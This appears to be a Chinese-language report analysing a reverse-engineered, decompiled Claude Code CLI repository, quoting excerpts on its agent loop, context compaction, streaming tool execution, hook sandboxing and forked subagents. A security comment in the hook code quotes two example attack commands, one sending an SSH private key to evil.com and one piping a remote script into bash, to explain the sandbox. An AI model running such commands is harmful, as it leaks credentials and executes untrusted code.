仓库自己的 AGENTS.md 明确称其为 reverse-engineered/decompiled 版本,目标是恢复核心功能并裁剪次要能力,同时承认很多模块是 stub 或由 feature flag 关闭。
白话解释
它像依据成品拆机后复原出的工程图,能研究结构,但不能把每一处细节当成原厂图纸。
对自研 Harness 的含义
报告可评价这个固定提交的实现,但任何对官方产品内部机制的映射都必须标注为推断。
关键源码 · 证据
AGENTS.md · L1–L8
1 # CLAUDE.md
2
3 This file provides guidance to Claude Code (claude.ai/code) and other AI coding agents when working with code in this repository.
4
5 ## Project Overview
6
7 This is a **reverse-engineered / decompiled** version of Anthropic's official Claude Code CLI tool. The goal is to restore core functionality while trimming secondary capabilities. Many modules are stubbed or feature-flagged off. TypeScript strict mode is enforced — **`bunx tsc --noEmit` must pass with zero errors**.
8
460 while (true) {
461 // Destructure state at the top of each iteration. toolUseContext alone
462 // is reassigned within an iteration (queryTracking, messages updates);
463 // the rest are read-only between continue sites.
464 let { toolUseContext } = state
465 const {
466 messages,
467 autoCompactTracking,
468 maxOutputTokensRecoveryCount,
469 hasAttemptedReactiveCompact,
470 maxOutputTokensOverride,
471 pendingToolUseSummary,
472 stopHookActive,
473 turnCount,
474 } = state
475
476 // Skill discovery prefetch — per-iteration (uses findWritePivot guard
477 // that returns early on non-write iterations). Discovery runs while the
478 // model streams and tools execute; awaited post-tools alongside the
479 // memory prefetch consume. Replaces the blocking assistant_turn path
480 // that ran inside getAttachmentMessages (97% of those calls found
481 // nothing in prod). Turn-0 user-input discovery still blocks in
482 // userInputAttachments — that's the one signal where there's no prior
483 // work to hide under.
… 173 lines omitted; exact range 460–666 …
657 userContext,
658 systemContext,
659 toolUseContext,
660 forkContextMessages: messagesForQuery,
661 },
662 querySource,
663 tracking,
664 snipTokensFreed,
665 )
666 queryCheckpoint('query_autocompact_end')
模型还在吐后续内容时,已经完整的工具参数可以先开工;账本缺一张回执时,系统会补一张失败回执,避免下一轮 API 拒绝整段对话。
对自研 Harness 的含义
降低工具启动延迟并提高恢复性,但要求工具调用去重、取消和消息顺序非常严谨。
关键源码 · 实现
src/query.ts · L971–L1124
971 // Discard pending results from the failed streaming attempt and create
972 // a fresh executor. This prevents orphan tool_results (with old tool_use_ids)
973 // from being yielded after the fallback response arrives.
974 if (streamingToolExecutor) {
975 streamingToolExecutor.discard()
976 streamingToolExecutor = new StreamingToolExecutor(
977 toolUseContext.options.tools,
978 canUseTool,
979 toolUseContext,
980 )
981 }
982 }
983 // Backfill tool_use inputs on a cloned message before yield so
984 // SDK stream output and transcript serialization see legacy/derived
985 // fields. The original `message` is left untouched for
986 // assistantMessages.push below — it flows back to the API and
987 // mutating it would break prompt caching (byte mismatch).
988 let yieldMessage: typeof message = message
989 if (message.type === 'assistant') {
990 const assistantMsg = message as AssistantMessage
991 const contentArr = Array.isArray(assistantMsg.message?.content)
992 ? (assistantMsg.message.content as unknown as Array<{
993 type: string
994 input?: unknown
… 120 lines omitted; exact range 971–1124 …
1115 toolUseContext.options.tools,
1116 ).filter(_ => _.type === 'user'),
1117 )
1118 }
1119 }
1120 }
1121 }
1122 queryCheckpoint('query_api_streaming_end')
1123
1124 // Yield deferred microcompact boundary message using actual API-reported
1282 // Normalize messages before building system prompt (needed for fingerprinting)
1283 // Instrumentation: Track message count before normalization
1284 logEvent('tengu_api_before_normalize', {
1285 preNormalizedMessageCount: messages.length,
1286 })
1287
1288 queryCheckpoint('query_message_normalization_start')
1289 let messagesForAPI = normalizeMessagesForAPI(messages, filteredTools)
1290 queryCheckpoint('query_message_normalization_end')
1291
1292 // Model-specific post-processing: strip tool-search-specific fields if the
1293 // selected model doesn't support tool search.
1294 //
1295 // Why is this needed in addition to normalizeMessagesForAPI?
1296 // - normalizeMessagesForAPI uses isSearchExtraToolsEnabledNoModelCheck() because it's
1297 // called from ~20 places (analytics, feedback, sharing, etc.), many of which
1298 // don't have model context. Adding model to its signature would be a large refactor.
1299 // - This post-processing uses the model-aware isSearchExtraToolsEnabled() check
1300 // - This handles mid-conversation model switching (e.g., Sonnet → Haiku) where
1301 // stale tool-search fields from the previous model would cause 400 errors
1302 //
1303 // Note: For assistant messages, normalizeMessagesForAPI already normalized the
1304 // tool inputs, so stripCallerFieldFromAssistantMessage only needs to remove the
1305 // 'caller' field (not re-normalize inputs).
… 23 lines omitted; exact range 1282–1338 …
1329 }
1330
1331 // Strip excess media items before making the API call.
1332 // The API rejects requests with >100 media items but returns a confusing error.
1333 // Rather than erroring (which is hard to recover from in Cowork/CCD), we
1334 // silently drop the oldest media items to stay within the limit.
1335 messagesForAPI = stripExcessMediaItems(
1336 messagesForAPI,
1337 API_MAX_MEDIA_PER_REQUEST,
1338 )
60 /**
61 * Scan the message array for the last `snip_boundary` system message and,
62 * if found, remove all messages whose UUIDs appear in its
63 * `snipMetadata.removedUuids`.
64 *
65 * This is the core memory-saving function. When a snip boundary exists:
66 * 1. All messages listed in `removedUuids` are filtered out.
67 * 2. The boundary message itself is kept (it records what was removed).
68 * 3. Messages not in `removedUuids` (including post-boundary messages)
69 * are preserved.
70 *
71 * Called from:
72 * - `query.ts` — strips snipped messages from the model-facing array
73 * before sending to the API.
74 * - `QueryEngine.ts` `snipReplay` — trims `mutableMessages` so the
75 * in-memory store does not grow without bound in long SDK sessions.
76 *
77 * @param messages Full message array (may contain a snip_boundary).
78 * @param options `force` — if true, always execute when a boundary is
79 * present. Without `force`, the function still executes
80 * if a boundary is found (the "if needed" refers to
81 * whether a boundary exists, not a token threshold).
82 */
83 export function snipCompactIfNeeded(
… 54 lines omitted; exact range 60–147 …
138 kept.push(msg)
139 }
140
141 return {
142 messages: kept,
143 executed: true,
144 tokensFreed,
145 boundaryMessage,
146 }
147 }
257 export async function microcompactMessages(
258 messages: Message[],
259 toolUseContext?: ToolUseContext,
260 querySource?: QuerySource,
261 ): Promise<MicrocompactResult> {
262 // Clear suppression flag at start of new microcompact attempt
263 clearCompactWarningSuppression()
264
265 // Time-based trigger runs first and short-circuits. If the gap since the
266 // last assistant message exceeds the threshold, the server cache has expired
267 // and the full prefix will be rewritten regardless — so content-clear old
268 // tool results now, before the request, to shrink what gets rewritten.
269 // Cached MC (cache-editing) is skipped when this fires: editing assumes a
270 // warm cache, and we just established it's cold.
271 const timeBasedResult = maybeTimeBasedMicrocompact(messages, querySource)
272 if (timeBasedResult) {
273 return timeBasedResult
274 }
275
276 // Only run cached MC for the main thread to prevent forked agents
277 // (session_memory, prompt_suggestion, etc.) from registering their
278 // tool_results in the global cachedMCState, which would cause the main
279 // thread to try deleting tools that don't exist in its own conversation.
280 if (feature('CACHED_MICROCOMPACT')) {
… 17 lines omitted; exact range 257–307 …
298
299 /**
300 * Cached microcompact path - uses cache editing API to remove tool results
301 * without invalidating the cached prefix.
302 *
303 * Key differences from regular microcompact:
304 * - Does NOT modify local message content (cache_reference and cache_edits are added at API layer)
305 * - Uses count-based trigger/keep thresholds from GrowthBook config
306 * - Takes precedence over regular microcompact (no disk persistence)
307 * - Tracks tool results and queues cache edits for the API layer
1352 // Prompt-too-long recovery: the streaming loop withheld the error
1353 // (see withheldByCollapse / withheldByReactive above). Try collapse
1354 // drain first (cheap, keeps granular context), then reactive compact
1355 // (full summary). Single-shot on each — if a retry still 413's,
1356 // the next stage handles it or the error surfaces.
1357 const isWithheld413 =
1358 lastMessage?.type === 'assistant' &&
1359 lastMessage.isApiErrorMessage &&
1360 isPromptTooLongMessage(lastMessage)
1361 // Media-size rejections (image/PDF/many-image) are recoverable via
1362 // reactive compact's strip-retry. Unlike PTL, media errors skip the
1363 // collapse drain — collapse doesn't strip images. mediaRecoveryEnabled
1364 // is the hoisted gate from before the stream loop (same value as the
1365 // withholding check — these two must agree or a withheld message is
1366 // lost). If the oversized media is in the preserved tail, the
1367 // post-compact turn will media-error again; hasAttemptedReactiveCompact
1368 // prevents a spiral and the error surfaces.
1369 const isWithheldMedia =
1370 mediaRecoveryEnabled &&
1371 reactiveCompact?.isWithheldMediaSizeError(lastMessage as Message)
1372 if (isWithheld413) {
1373 // First: drain all staged context-collapses. Gated on the PREVIOUS
1374 // transition not being collapse_drain_retry — if we already drained
1375 // and the retry still 413'd, fall through to reactive compact.
… 65 lines omitted; exact range 1352–1450 …
1441 toolUseContext,
1442 autoCompactTracking: undefined,
1443 maxOutputTokensRecoveryCount,
1444 hasAttemptedReactiveCompact: true,
1445 maxOutputTokensOverride: undefined,
1446 pendingToolUseSummary: undefined,
1447 stopHookActive: undefined,
1448 turnCount,
1449 transition: { reason: 'reactive_compact_retry' },
1450 }
1041 // SECURITY: Apply network-only sandbox to hook commands when sandboxing is enabled.
1042 // Hooks execute arbitrary shell commands from settings.json without going
1043 // through the Bash tool's permission prompt. Unlike the full Bash sandbox,
1044 // hooks only get network restrictions (not filesystem restrictions) because:
1045 // - Legitimate hooks (formatters, linters, type checkers) need full
1046 // filesystem access to read/write project files
1047 // - The core threat from malicious hooks is data exfiltration (e.g.
1048 // `curl http://evil.com?key=$(cat ~/.ssh/id_rsa)`) and payload download
1049 // (e.g. `wget http://evil.com/malware.sh | bash`)
1050 // - Hooks that genuinely need network (notifications) should use the
1051 // `http` hook type, which is not affected by this sandbox
1052 let sandboxedCommand = finalCommand
1053 if (!isPowerShell && SandboxManager.isSandboxingEnabled()) {
1054 try {
1055 sandboxedCommand = await SandboxManager.wrapWithSandbox(
1056 finalCommand,
1057 undefined, // use default shell
1058 {
1059 // Network: deny all outbound by default. Hooks that need network
1060 // should use the `http` hook type instead of shell commands.
1061 network: {
1062 allowedDomains: [],
1063 deniedDomains: [],
1064 },
… 14 lines omitted; exact range 1041–1088 …
1079 )
1080 } catch (sandboxError) {
1081 // If sandbox wrapping fails, log and continue without sandbox.
1082 // This preserves backwards compatibility — hooks that ran before
1083 // sandbox support was added will still work.
1084 logForDebugging(
1085 `Failed to sandbox hook command, running unsandboxed: ${errorMessage(sandboxError)}`,
1086 { level: 'warn' },
1087 )
1088 }
18 /**
19 * Fork subagent feature gate.
20 *
21 * When enabled:
22 * - `subagent_type` becomes optional on the Agent tool schema
23 * - Omitting `subagent_type` triggers an implicit fork: the child inherits
24 * the parent's full conversation context and system prompt
25 * - All agent spawns run in the background (async) for a unified
26 * `<task-notification>` interaction model
27 * - `/fork <directive>` slash command is available
28 *
29 * Mutually exclusive with coordinator mode — coordinator already owns the
30 * orchestration role and has its own delegation model.
31 */
32 export function isForkSubagentEnabled(): boolean {
33 if (feature('FORK_SUBAGENT')) {
34 if (isCoordinatorMode()) return false
35 if (getIsNonInteractiveSession()) return false
36 return true
37 }
38 return false
39 }
40
41 /** Synthetic agent type name used for analytics when the fork path fires. */
… 20 lines omitted; exact range 18–71 …
62 whenToUse:
63 'Implicit fork — inherits full conversation context. Not selectable via subagent_type; triggered by omitting subagent_type when the fork experiment is active.',
64 tools: ['*'],
65 maxTurns: 200,
66 model: 'inherit',
67 permissionMode: 'bubble',
68 source: 'built-in',
69 baseDir: 'built-in',
70 getSystemPrompt: () => '',
71 } satisfies BuiltInAgentDefinition
130 * Type guard to check if an entry is a transcript message.
131 * Transcript messages include user, assistant, attachment, and system messages.
132 * IMPORTANT: This is the single source of truth for what constitutes a transcript message.
133 * loadTranscriptFile() uses this to determine which messages to load into the chain.
134 *
135 * Progress messages are NOT transcript messages. They are ephemeral UI state
136 * and must not be persisted to the JSONL or participate in the parentUuid
137 * chain. Including them caused chain forks that orphaned real conversation
138 * messages on resume (see #14373, #23537).
139 */
140 export function isTranscriptMessage(entry: Entry): entry is TranscriptMessage {
141 return (
142 entry.type === 'user' ||
143 entry.type === 'assistant' ||
144 entry.type === 'attachment' ||
145 entry.type === 'system'
146 )
147 }
148
149 /**
150 * Entries that participate in the parentUuid chain. Used on the write path
151 * (insertMessageChain, useLogMessages) to skip progress when assigning
152 * parentUuid. Old transcripts with progress already in the chain are handled
153 * by the progressBridge rewrite in loadTranscriptFile.
… 5 lines omitted; exact range 130–168 …
159 type LegacyProgressEntry = {
160 type: 'progress'
161 uuid: UUID
162 parentUuid: UUID | null
163 }
164
165 /**
166 * Progress entries in transcripts written before PR #24099. They are not
167 * in the Entry type union anymore but still exist on disk with uuid and
168 * parentUuid fields. loadTranscriptFile bridges the chain across them.